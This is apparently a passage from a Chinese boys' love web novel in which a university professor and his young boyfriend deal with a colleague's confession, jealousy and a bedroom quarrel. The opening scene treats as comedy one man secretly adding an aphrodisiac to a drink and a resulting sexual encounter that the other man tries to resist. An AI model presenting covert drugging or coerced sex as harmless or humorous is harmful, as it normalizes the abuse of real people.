谢醇今晚有应酬,肯定不在。 他溜了进去,拧开一瓶没开封的矿泉水,小心翼翼地往里面滴了几滴那“神秘液体”。 他端起瓶子,刚试探性地喝了两小口,还没来得及细品滋味。 “咔哒。” 休息室的门开了。 穿着睡袍,显然刚洗过澡,头发还微湿的谢醇从里面走了出来。 他看到站在自己办公桌前的张泽轩,他手里拿着矿泉水瓶,一副做贼心虚的模样,却觉得十分有趣。 “这么晚了,还在加班?” 谢醇的声音带着刚沐浴后的微哑,他走过来,目光扫过张泽轩手里的瓶子,又看了看桌上他惯用的那套紫砂茶具,旁边正好放着他刚泡好还没喝的普洱。 张泽轩吓了一大跳,手一抖,瓶子里的水晃出来一些,正好洒进了旁边敞着盖的茶壶里。 他当时脑子一片空白,只想赶紧溜,完全没注意到这个细节。 谢醇以为张泽轩是加班口渴,又不敢动他的茶叶,只敢偷偷喝点矿泉水,结果还被自己撞见,紧张得水都洒了。 “想喝茶就直说,偷偷摸摸像什么样子。” 谢醇语气里带着一丝无奈,他顺手拿起那壶被“加料”的普洱茶,给自己倒了一杯,又示意张泽轩,“杯子在那边,自己倒。” 张泽轩看着那杯褐色的茶水,瞳孔地震,想阻止已经来不及了。 谢醇已经端起杯子,喝了一口。 谢醇只喝了几茶杯,症状远没有直接喝了“原液”的张泽轩那么强烈。 可他最近工作压力巨大,身心俱疲,也确实很久没有纾解过欲望。 那点被意外添加的“助兴剂”,却让他特别想释放一次。 他没多想,联系了提供“上。门。服。务”的中介。 偏偏在电梯口,同样浑身难受的张泽轩撞见了那个打扮得花枝招展的年轻男孩。 张泽轩虽然平时看着不着调,但骨子里有自己的一套原则。 他觉得恋爱就该认真谈,要对女孩子负责,要么就不谈。 他最看不惯这种拿钱买快。感,随意放纵的行为。 更何况,这服务对象是谁? 可是他好兄弟林逸的亲爹! 要是被林逸知道了,父子关系岂不是雪上加霜? 林逸最讨厌的就是他爸这种私生活混乱的做派! 一股莫名的“正义感”和“护好兄弟犊子”心态涌上来,他觉得自己有责任“拯救”这位即将堕落的谢总裁! 而且,他觉得自己也喝了那东西,年轻力壮都能硬扛,谢醇一个四十多岁的大叔,自制力应该更强才对! 于是,张泽轩自掏腰包,拦下了那个男孩,开始了一场长达半小时的“关于人生意义与道德底线”的讨价还价。 “兄弟,你看,你这啥也没干,就坐了个滴滴过来,十分钟车程,白赚一千块,偷着乐吧!”张泽轩试图用金钱打动对方。 小鸭子是被熟人介绍来的,知道谢醇是大客户,不太想放弃这笔生意,撇撇嘴,回应道:“帅哥,你当我这里是菜市场啊?讨价还价的?我做的可是高端生意,服务到位,价格自然高一些。” 张泽轩脑袋转得很快,立马换了个思路,一脸诚恳:“是是是,高端,绝对高端!那兄弟我问你啊,你觉得是猪屁股烤起来香,还是猪蹄炖起来香?” 小鸭子被问懵了,下意识回答:“那肯定是猪蹄啊,谁吃猪屁股啊?” “对啊!”张泽轩一拍大腿,“你看,你这出来,靠‘屁股’赚钱,不如靠勤劳的双手致富,是吧? 三百六十行,行行出状元,咱换个赛道,前途更光明!” 男孩气的推了他一下:“……你有病吧?” “就一千块,转账还是现金?爱要不要。”张泽轩使出杀手锏,“我这公司外面,可是有780度无死角高清监控,带录音的! 你要是不乐意,我马上报警抓飘。娼,证据确凿,你看着办。” 最终,在张泽轩的“威逼利诱”和“人生哲理”双重攻击下,男孩骂骂咧咧地收了一千块转账,气鼓鼓地走了。 打发走了“外患”,张泽轩松了口气,感觉完成了一件了不起的大事。 他靠在墙上缓了缓,体内那股邪火却因为刚才的情绪激动和身体活动,烧得更旺了。 他甩甩头,不行,得去“说服”谢醇,从根源上解决问题! 张泽轩在门口查了一大段说服的稿子,背了足足十分钟。 “财色招苦报,淫。欲。陷凡身。” “痴心常念欲,辄自伤精神。” “色字头上一把刀……” “男人,要管住下半身,才能赢得下半生!” 深吸一口气,他整理了一下衣服,推开了谢醇办公室的门。 “别开灯。”谢醇的声音带着一种压抑的、陌生的热度,他从沙发上站起来,走到门口,去拉服务人员的手腕,“过来,我带你去休息室。” 张泽轩:“???” 他还没反应过来这句话的意思,谢醇已经站起身,大步走过来,一把攥住他的手腕。 那力道大得惊人,温度也烫得吓人。 “还有……”谢醇拉着他往休息室走,头也不回地补充,“我不喜欢做的时候说话,很吵。” 张泽轩彻底懵了,脑子里那篇精心准备的劝说稿碎成了渣。 他想挣扎,想说“我不是这个意思”,但谢醇的手像铁钳,体内那股邪火也在此刻猛烈反扑。 他被谢醇按在休息室冰凉的门板上亲吻,仅仅三秒,身体就背叛了意志,可耻地起了反。应。 等他再想挣扎,想解释的时候,一切都已经来不及了…… 可是,谢醇发泄过后,他不仅没有得到缓解,反而更难受了。 经过谢醇的言传身教,他凭着模糊的记忆和本能,将刚才谢醇对他做的一切,全部一比一地“复制”了回去。 那一晚,一位钢铁直男,以一种极其惨烈且荒诞的方式,被迫打开了gay世界的大门 * 这段时间,沈北岛的工作重心完全放在了那个国家级文化译介项目上。 院长为此特别调整了他的教学安排,取消了部分公开课,只保留了部分德语班级的授课任务。 他也从原来的公共教师办公室,搬到了学院楼里一间更安静,设施更齐全的独立办公室。 巧的是,隔壁就是方渝的办公室。 下午,下班前一个小时。 方渝敲了敲沈北岛敞开的门,走了进来。 她今天穿了一身米白色连衣裙,衬得气质温婉,黑色的长发柔顺地垂在腰间,走动间带起一阵清雅的香水味。 “北岛,晚上有空吗?一起吃饭?”方渝脸上露出得体的微笑。 沈北岛站起身,看了一眼腕表,开始收拾桌面上散开的文件,“不了,今晚回家有些事,得提前回去。” “今天,院长和院里的一些老师聚餐。”方渝往前走了两步,靠在办公桌边缘,“院长特意让我来请你一起去。” 沈北岛手上动作未停,抬眼看她:“有新项目吗?” 方渝笑了笑,没有细说,只是含糊道:“去了你就知道了。” 沈北岛心里快速权衡着,他想起林逸昨天电话里软软地抱怨他最近太忙,都没空陪他。 今天林逸似乎下课早,他原本计划着晚上去林逸的公寓,看看他的毕业设计进展,或许还能给他做顿饭。 “嗯,我需要回去换件衣服,把餐厅地址发给我吧。” “换什么衣服呀,你这样就很好了。”方渝打量着他整洁的衬衫和西装外套,语气轻快,“等会下班我们一起过去吧?我搭你的车,方便。” 沈北岛皱了皱眉,他不喜欢这种过于亲近的安排。 “我还有点资料要整理,可能要稍晚一点。”他找了个借口,“方老师如果等不及,可以先过去。” “没关系,我等你。”方渝似乎打定了主意,她指了指门外,“正好,王老师找我有点班上的事要说,我先过去一下,你好了打电话给我?” “……嗯。”沈北岛点了下头。 方渝刚离开,沈北岛拿起手机,拨通了林逸的号码。 电话几乎是被秒接,听筒里传来林逸带着点撒娇意味的声音,背景音很安静。 “喂?沈教授~干嘛呢?想我了?” 听到他的声音,沈北岛不自觉地放松了些,声音也放柔了:“刚忙完,下课了?现在在哪里?” “在想你呀~”林逸的声音带着笑意,“而且,我现在……在你家里哦!你到底什么时候回来啊~我都等你三分零四十五秒了。” 沈北岛有些惊喜:“怎么来我这里了?下午不是说有课吗?” “就一节课,上完课我还去画室画了两个小时才过来的,结果你还没下班。” 沈北岛想到这次是院长的邀约,大概率是涉及新项目,确实不好推脱。 他有些歉意地开口:“抱歉,宝贝,今晚院里有个饭局,院长亲自组织的,跟后续的工作安排有关,可能要忙完回去。” 电话那头安静了一瞬,传来林逸明显低落下去的声音,拖着长音:“啊——又要应酬啊……会不会又搞到很晚?像上次一样,半夜才回来?” “这次应该不会太晚,你困了就先睡,不用等我。我尽量早点回来,嗯?” “不嘛……”林逸的声音软软的,“你不回来,我睡不着,房间里都是你的味道,我一个人睡多寂寞啊。” 沈北岛的心脏被他撩的一颤一颤的,他真的很想回去亲亲他的小兔子。 “不然……”林逸像是想到了什么好主意,声音带着点期待,“我去接你吧?等你快结束的时候,我打车过去找你,然后,我坐你的车回来?” 他说着,声音越来越小:“我们还可以在车里……试试?” 沈北岛握着手机,指尖微微收紧。 车库、密闭的空间、无人打扰的深夜、怀中心爱的人…… 仅仅是想象,他已经控制不住的喉结滚动。 电话那头,林逸等不到他的回应,以为他不愿意,又说:“你打算拒绝我吗?” “没。”沈北岛的声音低哑得可怕,“只是担心你晚上一个人打车不安全。” “我又不是小孩子了,而且江州治安这么好,哪有那么多坏人……我就是想早一点见到你,不行吗?” 沈北岛无奈地摇了摇头,妥协了:“好,那你多穿点,晚上降温,别着凉,地址我等会发给你。” “就知道你最好了!”林逸在电话那头开心得不得了,“那我先去准备一下!不说了!” 沈北岛失笑:“你要准备什么?” 嘟嘟嘟—— 忙音中……—— 作者有话说:祝小可爱读者们圣诞快乐呀!!!! 第38章 张泽轩顶着被晚风吹乱的头发,一脸生无可恋地推开包厢门,嘴里嘟嘟囔囔,“干嘛选这么拥挤的地段吃饭啊,堵车堵了半小时。” 话音未落,一个身影“嗖”地蹿到他面前,林逸一只手捂住他的嘴,压低声音警告:“嘘——!小点声!” 他关上包厢门:“我男人在隔壁包厢呢!别被他发现了!” “你……男人?”张泽轩被捂着嘴,脑子飞快转了两圈,“沈叫兽儿?” 哎哟喂! 张泽轩心里顿时乐开了花,脸上却努力绷着。 没想到我这傻逸哥终于开窍了?知道沈北岛那老狐狸不是省油的灯,开始玩起跟踪、查岗了? 行啊!有进步!看来还不算太傻…… 他正美滋滋地想着怎么煽风点火,提醒他兄弟留个心眼。 就听见林逸松开手,心花怒放地说:“今天天气多好啊!有月亮,还有星星!” 他指了指窗外深蓝色的夜空,那里确实挂着一轮皎洁的满月,旁边点缀着几颗稀疏的星星。 林逸拍了拍放在桌椅上鼓鼓囊囊的背包:“你看,我连车上睡的充气垫和毛毯都带来了! 等会儿吃完饭,找个没人的郊外空地,把垫子吹起来,铺上毯子,躺着看星星看月亮!多浪漫啊!” 张泽轩:“……” 他脸上的表情从“看好戏的兴奋”到“迷惑不解”,再到“彻底无语”。 最后凝固成一种“我到底为什么要跟这个恋爱脑出来吃饭”的麻木。 “赏?赏月?” 张泽轩觉得自己的舌头有点打结,难以置信地重复,“林逸,你等会打算跟你家的沈教授出去赏月?” 林逸用一种“你怎么这么不懂情。趣”的眼神看着他,“……不浪漫吗?” “……你隔这儿学李白呢?举杯邀明月?对影成三人” 张泽轩“啧”一声,双臂抱胸:“别怪我没提醒你啊,我刚才可看到一个穿得花枝招展的女人进去了,说不定是你的未来情敌。” “你想多了,那就是同事。”林逸反驳他,“谈恋爱最重要的就是信任,他都跟我说了是学校工作的事,我干嘛要怀疑他?” 张泽轩被他这副“天真无邪”的样子噎得差点一口气没上来。 合着他刚才那些紧张兮兮的样子,不是为了过来查岗的?是等沈叫兽下班? 林逸把眼前的菜单推过去,言语都充斥着心情大好,“快点菜,随便点,这地方包厢有最低消费,我一个人来吃太浪费了。” “得!我又是工具人是吧。”张泽轩磨了磨后槽牙,本着“化悲愤为食量”的原则,开始对着菜单上那些价格不菲的特色菜一顿猛点,专挑贵的下手。 …… 等快吃完的时候,张泽轩又招手叫来服务员,单独加了一条清蒸鲈鱼、一份白灼菜心,还有一碗米饭,要求打包。 林逸啃着一块糖醋小排,见状挑了挑眉,调侃道:“轩子,你最近饭量见长啊,晚上还准备吃夜宵?小心变成肥宅男。” 张泽轩动作顿了顿,他抬眼看了看林逸,那心情好的呦,他都没眼看。 他清了清嗓子,用一种故作轻松的语气说:“那什么,这是给你爸带的,谢叔他口味清淡,爱吃这些。” “我爸?”林逸有些意外地抬起头,“没想到你还挺敬业,连老板的饮食偏好都知道。” “我爸他确实一直吃得清淡,说是为了保持状态,怕中年发福。” 张泽轩心里微微一松,顺着话头继续试探,却带着一丝无法控制的紧张:“林逸,我,我打算一直跟着谢叔干了。公司福利待遇也不错,比我自己出去瞎折腾强。” “你觉得……怎么样?”他问得小心翼翼,目光紧紧盯着林逸。 “我能有什么意见?”林逸耸耸肩,夹了一筷子清脆的凉拌黄瓜,“这是你自己的人生,你自己觉得开心就行。” “不过……”他顿了顿,想起什么似的,微微歪头,“你爸妈不是一直想让你考公务员吗?他们能同意你一直在私企干?” “害!!”张泽轩避开林逸探究的目光,拿起水杯喝了一口,“他们现在……也不管我那么多。” “儿子大了,总有点自己的想法,去追求点自己的……”他突然停顿了一下,声音掺杂了点飘忽不定,“……自己的幸福。” 林逸敏锐地捕捉到了他神情里那点不自然,停下筷子,仔细地盯着张泽轩看了几秒。 忽然凑近:“张泽轩,你该不会谈了个恋爱,家里不同意吧?” 他注意到张泽轩脸上飞快掠过的一抹可疑的红晕,甚至蔓延到了耳根。 这可稀奇了! 张泽轩脸皮一向厚似城墙,在兄弟面前永远是没脸没皮的样子。 这种类似“羞涩”的表情,在他脸上出现的概率堪比哈雷彗星撞地球。 张泽轩直接站了起来:“谁谈恋爱了!你别瞎说!?” 他这此地无银三百两的反应,反而更像是欲盖弥彰。 林逸疑惑地看了他两眼:“之前在ktv你说的啊,这么激动做什么?……难道是我认识的人?” * 隔壁的包厢里,饭局也接近尾声。 圆桌旁坐着七八个人,大多是江州大学各个学院的领导,气氛融洽中带着一丝官方的客气。 桌上杯盘狼藉,酒过三巡,几位年长的教授脸上已带了倦意,说话声也渐渐低了下去。 沈北岛坐在主位右手边,身姿依旧挺拔。 他今晚喝的酒不多,大部分时候都在倾听,偶尔恰到好处地接话,既展现了专业素养,又不失晚辈的谦逊。 坐在主位上的是江州大学外国语学院的院长,一位年近六十,头发有些白但精神矍铄的老学者。 几位同事陆续起身告辞,沈北岛也站起来,一一握手送别。 很快,包厢里只剩下沈北岛和院长两人。 沈北岛走到院长身旁,从西装内袋取出烟盒,递了一支过去,又躬身替对方点燃。 “院长,需要我帮您叫个代驾吗?”沈北岛的声音温和有礼。 院长深吸了一口烟,缓缓吐出烟雾,摆了摆手:“不用,司机在楼下等着呢。” 他抬起眼,透过氤氲的烟雾看着沈北岛,眼神里带着明显的欣赏:“小沈啊,这段时间辛苦了。 这次和德方的合作项目涉及国家级的奖项评选,后面的事需要你多费心。” 沈北岛回应:“这是我分内的工作,应该的。” 院长点了点头,忽然话锋一转,语气带上了几分家常的随意,甚至有点开玩笑的意味:“刚才吃饭的时候,老赵还说想给你介绍女朋友呢,你小子倒好,跟个锯嘴葫芦似的,一句话都不接。” 沈北岛笑了笑,没接这个话头,只是说:“最近工作确实忙,暂时不打算考虑个人问题。” “工作再忙,个人问题也不能忽视嘛。”院长弹了弹烟灰,身体微微前倾,更显长辈的关怀,“小沈,你看……方渝怎么样?” 沈北岛脸上的笑容淡了些,但依旧维持着得体的表情,说道:“方渝老师工作能力强,专业扎实,学生对她的评价也很高,是一位非常优秀的老师。” “我是问你,”院长话里带着不容回避的探询,“如果她做你的女朋友,你觉得怎么样?” “院长……” 院长却打断他:“我这女儿,心气高,什么心思都藏在心里。” 院长摇摇头,语气似无奈又似提醒,“你入职以来,她对你有意思,我是看得出来的。但她跟我说,你好像是不婚主义?” “曾经是。”沈北岛声音依旧平静,“现在不是了。” 院长笑了笑,“那你愿意跟方渝试试吗?” 沈北岛沉默了几秒。 包厢里的空气似乎也凝滞了。 他放下手中的打火机,抬眼正视院长,声音平稳:“院长,谢谢您和方老师的厚爱。不过,我已经有正在交往的恋人了。” 院长显然有些意外,随即笑起来,那笑容里有种过来人的宽容,也掺杂着态度上的不以为然: “那也没关系嘛!年轻人,多接触接触,多比较比较,总不是坏事。” “只要没到谈婚论嫁那一步,选择权还是在你手里的。” 他顿了顿,看向沈北岛,欣赏的态度没有递减一丝一毫:“况且听你这意思,交往时间也不长吧?感情的事,谁能说得准呢。” 沈北岛轻轻摇了摇头,脸上的表情变得严肃:“院长,感情的事,我向来认真。我和方渝老师,不太合适。” 院长挑了挑眉,追问道,“哪里不合适?方渝性格好,跟你又是同行,有共同语言,你倒是说说,哪里不合适?” 沈北岛深吸了一口气。 他知道,有些话,今晚必须说清楚了。 他抬起头,目光沉静地迎上院长探究的视线,一字一句道:“因为,我对女性没有恋爱方面的兴趣。” 他稍作停顿,在对方骤然凝住的视线中,继续用那种平稳到近乎冷漠的语气,说出了最关键的那几个字: “我是同性恋。” …… 林逸的手机震动了一下,是沈北岛发来的消息: 【快结束了,你先去车里等我,空调已经打开了】 他眼睛一亮,立刻回复:【好~】 然后对还在慢悠悠喝茶的张泽轩说:“你慢慢吃,我先撤了!我买过单了!” “哎?这就走?”张泽轩还没来得及多说,林逸已经像只灵巧的兔子,抓起背包就溜出了包厢。 地下停车场里光线昏暗,空气带着地底特有的阴凉。 林逸很快找到了沈北岛那辆熟悉的黑色奔驰SUV,用手机APP解锁,沈北岛提前给他共享了汽车APP使用权限。 嘿嘿,专属权限! 四舍五入等于他也是这辆“可爱奔奔”的半个主人。 拉开车门,暖融融的空调风扑面而来,驱散了他身上的寒意。 他钻进后座,放下背包,开始兴奋地执行自己的“浪漫计划”。 从背包里掏出那个便携式充气床垫和手动充气泵,“吭哧吭哧”地开始给床垫打气,测试床垫的质量。 随着“嗤嗤”的声响,扁平的垫子慢慢膨胀起来,充满了整个后座空间。 他又铺上柔软的羊绒毯,调整了一下位置,满意地点点头。 “完美!等会儿开到一个风景好的地方,就能和沈教授一起躺着看星星了!” 折腾得差不多了,他透过车窗,看到电梯间的门开了。 沈北岛走了出来,身姿挺拔,步履沉稳,怎么看都是鹤立鸡群的大帅哥! 林逸花痴脸:“我男朋友怎么这么帅!走路都像在走T台!” 林逸脸上扬起笑容,正要按下车窗挥手,动作却猛地顿住,笑容僵在脸上。 沈北岛身后,还跟着一个人。 一个穿着米白色针织连衣裙,外搭浅咖色风衣的女人。 她踩着高跟鞋,步态优雅,正微微仰头对沈北岛说着什么,停车场昏黄的灯光勾勒出她精致的侧脸轮廓和打理得完美的卷发。 “这不是那个叫方渝的老师么?之前在百年校庆上见过。” 林逸心里那点雀跃像被戳破的气球,“咻”地一下漏了气。 他手忙脚乱地抓住还没完全充满气的床垫,找到气阀,把气快速放掉,然后胡乱将瘪下去的垫子和毯子全部塞进后座。 他想要推开车门,却犹豫了。 他看到,沈北岛停下了脚步,转身看着追上来的方渝。 沈北岛:“方渝老师,你还没走吗?” “北岛,”方渝的声音在空旷的停车场里显得有些清晰,她微微喘了口气,像是下定了某种决心,说道,“其实我……我一直有话想对你说。” 沈北岛的目光越过她,快速扫了一眼自己车的方向,车窗贴着深色膜,看不清里面。 他以为林逸还在车上等着,心下稍安,依旧保持着礼貌而疏离的态度:“嗯?还有其他工作上的事需要交代吗?” “不是工作。”方渝上前一步,拉近了两人之间的距离,仰起脸,看向沈北岛: “我想再争取一下,北岛,我是真的……真的挺喜欢你的! 我知道你可能工作忙,没注意到我,或者觉得我们只是同事,但你能不能给我一个机会?我们可以试着从朋友开始……” 她说着,似乎情绪有些激动,情急之下,伸手拉住了沈北岛的小臂。 沈北岛眉头皱了一下,“我刚才跟院长说过了,我已经有恋人了。” 他微微用力,将她的手拂了下去。 他的声音依旧平稳,却比刚才冷了几分,试图划清边界感:“方老师,我想我们之间,仅限于同事关系。 如果之前我的言行有哪里让你产生了误会,我向你道歉。” 他顿了顿,目光再次投向自己车的方向,这次语气里带上了一丝无奈:“我男朋友还在车里等我,如果被他看到刚才那一幕,我今晚回家,怕是不太好交代。” “男朋友?”方渝脸上的血色褪去了一些,露出一丝苦涩和不信,“北岛,你……你该不会是为了拒绝我,才故意编出这个理由的吧?我从来没听说你是……” 她的话没能说完。 因为“砰”的一声响,不远处的SUV的副驾驶车门被打开了。 林逸从车里下来,朝着他们走了过来。 他刚才在车里只看到方渝拉住了沈北岛的胳膊,听不清具体说什么,但那股亲昵和主动的姿态,他已经很有涵养的,忍住不炸毛了! 他走到沈北岛身边,自然地伸出手,一把抓住了沈北岛刚才被方渝碰过的那只手腕,指尖微微收紧,像是在擦拭什么不存在的痕迹,又像是某种无声的宣告。 然后,他抬头看向方渝,脸上努力扬起一个他自认为非常“乖巧懂事”,但实际因为醋意而显得有些僵硬的微笑:“北岛哥哥,这位是……?” 林逸努力维持体面,但说出来的话还是酸酸的:“我是不是打扰你们谈事情了?” 沈北岛立刻察觉到了林逸的小动作和微妙情绪。 他反手将林逸的手握进掌心,用力捏了捏,然后抬眼看向方渝,嘴角勾起一个清晰弧度,语气是前所未有的温柔: “方老师,介绍一下,这是我男朋友,林逸。” 方渝的视线落在两人交握的手上,又移到林逸那张过分年轻、俊秀又带着点未脱稚气的脸庞上,以及那一头在昏暗光线下也异常醒目的时髦金发。 震惊、难堪、难以置信……种种情绪在她脸上交替闪过,最后化为了某种审视和怀疑。 她的目光在林逸脸上打量片刻,语气变得严肃,甚至带上了质问:“他是……我们学校的学生吗?” 她看向沈北岛,眼神里重新带上了某种锐利:“北岛,你应该很清楚,我们学校的教师职业道德规范和学生管理条例里,都明文禁止师生之间发展恋爱关系,这是严重的违纪行为,会影响你的前途。” 此话一出,停车场的凉意似乎更重了。 “我不是……”林逸刚想开口解释。 沈北岛接过了他的话:“方老师多虑了,他不是江州大学的学生。” 他顿了顿,语气里浮现一丝冷意:“我和他的交往,完全符合法律和社会道德规范,这一点,我想不需要向任何人说明,既然方老师问起,并且似乎对此有所误解,我觉得有必要澄清。” “他不是我的学生,过去、现在、未来都不会是,他是我的恋人,是我慎重选择并想要共度一生的人。” 林逸惊讶的望向沈北岛:……共度一生吗? 方渝被他这番话噎得哑口无言,脸上红一阵白一阵,刚才那种带着道德制高点的质问姿态瞬间崩塌。 她看了看即便在“被质问”场景下依然紧紧握着男孩的手,那保护姿态简直浓得化不开。 她知道,自己今晚的“争取”不仅彻底失败了,还显得如此不合时宜,甚至有些难堪。 “原来是这样……是我误会了。”她勉强扯出一个笑容,“不好意思,打扰了。” 她说完,有些仓促地转身,快步走向停车场的另一头。 直到她的身影消失在拐角,林逸想要抽回被沈北岛握着的手,但没抽动。 他抬起头,用那双漂亮的眼睛瞪着沈北岛,里面明明白白地写着: 我、很、不、高、兴! 快、来、哄、我! 不、然、你、死、定、了! 沈北岛看着他这副气鼓鼓、虚张声势、像只捍卫领地却反而把自己委屈坏了的小动物模样。 心里那点因为被纠缠而产生的不快瞬间烟消云散,只剩下满满的柔软,和想把他揉进怀里的冲动。 但他知道现在笑出来可能会“罪加一等”,于是努力绷着脸,声音却泄露了笑意:“先上车,外面冷,怎么又穿这么少。” 林逸昂起头:“我年轻气盛,光着屁股都不冷!” “好,好……等回去开了空调再光着,光给我一个人看。” “沈北岛,你不要脸……” 他拉着林逸走到车边,拉开副驾驶的门,看着林逸坐进去,自己绕到驾驶座。 车门关上,密闭的空间里,暖风静静吹拂,林逸身上那股淡淡的清爽味道萦绕在沈北岛的鼻尖。 沈北岛没有立刻发动车子,而是侧过身,看着依旧别着脸、只给他一个后脑勺的林逸。 “吃醋了?”他伸手,轻轻戳了戳林逸鼓起来的腮帮子,触感软软的,语气里的笑意再也藏不住。 “谁吃醋了!”林逸立刻反驳,转过身,眼神凶巴巴地瞪着他,可惜没什么威慑力,反而像只虚张声势的奶猫。 “沈教授魅力大得很啊~~~走到哪里都有爱慕者,还‘北岛,北岛’的叫得那么亲热!我都没那么叫过!” “人家还伸手拉你的胳膊呢!下一步是不是要扑怀里了?要是我不在,你俩都亲上了吧!” 他越说越气,想起刚才那一幕,真想扑上去咬他一口解气。 沈北岛看着他那翻着旧账的可爱模样,心里软得一塌糊涂。 他忽然凑近,在林逸还要继续“控诉”的嘴唇上,轻轻啄了一下。 “!!!”林逸所有的话都被堵了回去,眼睛瞪得更圆了。 林逸内心:这个时候了!居然还敢亲我!! “你刚才是不是叫我哥哥了?”他的气息温热,拂在林逸脸上,“再叫一次听听?” “没有!你听错了!”林逸脸瞬间爆红,矢口否认。 沈北岛目光认真地看着他,开始老实交代问题:“首先,我躲开了,立刻推开了她的手,并且明确告诉她我有男朋友。” “其次,‘北岛’是同事间普通的称呼,如果你不喜欢,我以后会注意,或者提醒对方换个称呼。” 林逸脸上热度未消,“哼”了一声,表示不屑,但一动不动的样子,分明听得很认真。 “还有,最重要的一点。” 沈北岛再次握住林逸的手,这次不是手腕,而是将他整只手包裹住,然后缓缓地,坚定地将他的掌心贴在了自己左胸口。 隔着质感优良的衬衫面料,林逸能清晰地感受到那里传来稳定,有力,稍显急促的心跳。 怦、怦、怦…… 沈北岛的声音低沉且真挚,在狭小的车厢内回荡: “这里只能装得下一只爱吃醋、爱炸毛、画画厉害、超有上进心,染着金色毛发的可爱小兔子,别的物种我不喜欢。” 他推了推他,抽回手,昂起头,不卑不亢的反驳:“……哼!你骂谁不是人呢。”—— 作者有话说:两章放在一起了宝子们~ 第39章 浪漫星空计划,林逸自动取消了。 回到家后,沈北岛因为工作上的事,独自进入书房加班了一个小时。 忙完回到卧室,已经是凌晨了。 沈北岛站在门口,足足愣了两秒,随即倚靠在门框上,含着笑欣赏眼前这副“奇景”。 只见,他的小男朋友林逸,正盘腿端坐在大床中央,身上严严实实地披着那条白色的羊绒毛毯,像披了件袈裟。 他面前稳稳当当地摆着一个,目测直径至少有三十公分的深色木鱼。 此刻,林逸眼帘低垂,表情是努力营造出的庄严,一手虚握着不知从哪里翻出来的小木槌。 “咚……咚……咚……”地敲着木鱼。 他推了推鼻梁上架着的金丝边眼镜,“林兔兔大师,这是准备在床上飞升成仙吗?” “需不需要我为你护法?” 木鱼声戛然而止。 林逸极其缓慢地掀起眼帘,露出一双清亮的眸子。 他先是长吁一口气,那气息悠长得仿佛真的刚从某种深度冥想中脱离,然后才将目光投向门口那个扰他“清修”的男人。 语气平淡无波,甚至刻意放得空灵:“只~有~这~样,我~才~能~保~持~心~平~气~和~” 至于为什么用毛毯盖着,是因为刚才沈北岛去加班的这一个小时里,林逸可没闲着。 「停车场事件」+「被冷落加班事件」的双重不满,他偷偷抱着平板,钻进被窝,进行了“御夫之术”的紧急学习。 由于知识内容过于直白、刺。激,导致他身体某些部位产生了一些羞于启齿的反应…… 这话一出,沈北岛立刻意识到,这是气还没消。 他走到床边,微微俯身,“如果生气就发泄出来,憋着不好,不然,你打我两下出出气?我保证不还手。” 林逸抬头,双眼微眯:“知道我生气的点吗?” “知道。”沈北岛回答得干脆。 他干嘛要接那个电话?干嘛非要在今晚处理那点工作?明明拖到明天也可以。 他悔得大彻大悟,在停车场经历了那件事后,他应该立刻、马上、全身心地哄着他的小男朋友,而不是回家后还把他一个人晾着。 “对不起,宝贝。”他伸出手,想去触碰林逸裹在毛毯下的肩膀,“刚才应该陪你的,是我不好。” 结果,他的手还没碰到,林逸就像被惊到一样,“蹭”地一下从床上站了起来。 动作太猛,差点带倒那个巨大的木鱼。 他手忙脚乱地稳住木鱼,同时把身上的白毛毯裹得更紧了,只露出一张绷着的小脸,以及那头因为摘了发带,彻底放飞自我,每一根发丝都倔强地朝四面八方炸开的金发。 此刻的林逸,顶着怒发冲冠的金毛,裹着白色“袈裟”,确实不太像温顺的兔子,倒像只虚张声势的金毛狮王幼崽。 “我问的是我生气的时间点!” 林逸提高了一点音量,眼睛瞪得圆溜溜的,要是被沈北岛发现他莫名其妙的石更了,多羞。耻啊—— “啊…”沈北岛被这跳跃的问题弄得一愣,低头看了一眼腕表:“现在,北京时间0点44分。” “吉利吗?”林逸紧跟着追问,下巴微微抬起。 沈北岛又愣了一下。 这问题……有点超纲。 他仔细斟酌措辞。 说吉利?44这个数字在传统观念里确实不算好。 说不吉利?那不是火上浇油吗? 他余光瞥见林逸紧紧抿着的唇,决定走一个折中的路线。 他清了清嗓子:“咳……从时间流逝的角度看,第二天刚刚开始44分钟,是新一天的开端,充满无限可能。而且,4在音乐简谱里是‘发’,两个4,是‘发发’,所以……应该,算是吉利的吧?” 说到后面,他自己都有点底气不足,这解释实在牵强。 “我觉得不吉利!”林逸立刻反驳。 他站在床上,此刻是真的在“居高临下”地看着沈北岛,那头乱翘的金发在灯光下几乎要炸出虚影来。 “你选什么时候进来不行?非要卡着44分进来!两个4!这说明什么?” “说明我们的关系马上要停滞了!要「事事不顺」了!现在!立刻!出去!” 他伸出一根手指,气势十足地指向门口,“重新!选个吉利的时间再进来!” 沈北岛:“……” 他看着眼前这个逻辑清奇,一本正经胡说八道的林逸。 这气生的,真是……可爱得要命。 沈北岛点头,脸上露出一种“我懂了,我悟了”的郑重表情。 “好,你说得对,是我考虑不周,我现在就去睡沙发,深刻反省一晚上。” 他顿了顿,甚至煞有介事地算了算,“等到明天早上6点66分再进来,六六大顺,让我们的运势从此越来越好,一顺百顺。” “嘿!你……”林逸没想到他还搞出个6点66分,这时间根本不存在好吗! 他刚想继续反驳,沈北岛已经抱着枕头,迈着那双逆天的长腿,几步就跨出了卧室,还非常贴心地从外面把门轻轻带上了,动作流畅得没有一丝犹豫。 房间里只剩下林逸一个人,他一屁股坐下。 看着自己过于清醒的东西,继续敲木鱼。 等等再进来,也好,反正他现在心里那点燥热还没消退。 客厅沙发上,沈北岛没有睡意,他随手打开手机,翻了几下,看到了张泽轩的朋友圈。 【好哥们请客】 【图片】定位:喜来餐厅 沈北岛眉梢微挑,点进了张泽轩的头像,发过去一个简短的问号。 几乎是下一秒,张泽轩的回复就跳了出来,像是看热闹不嫌事大: 【呦!这谁啊,沈教授?跟我逸哥看星星呢?怎么样,我逸哥准备的设备专业不?】 沈北岛【什么看星星?】 张泽轩随后发来一大段话,讲述今天他傻哥们跟个情窦初开的少女似的部分言论: “这样会不会太幼稚了?” “你说沈教授会不会喜欢?” “万一他觉得我看星星是想干点别的怎么办?” “我是单纯的想跟他看星星!” 张泽轩原话复述,并附带了无数个猥琐表情包…… 看着屏幕上那一行行文字,沈北岛回想起停车场的时候,林逸从车上下来时,后座似乎确实有个黑色的大袋子,当时他只顾着安抚吃醋的小家伙,没有太注意。 哎!他今天都干了些什么? 让一个满心欢喜的人,先是在停车场看到糟心的一幕,回家后又被自己冷落一个小时,最后连精心准备的浪漫计划都泡了汤,只能一个人在床上敲木鱼,用那种可爱的方式生闷气,发泄委屈…… 愧疚瞬间淹没了他。 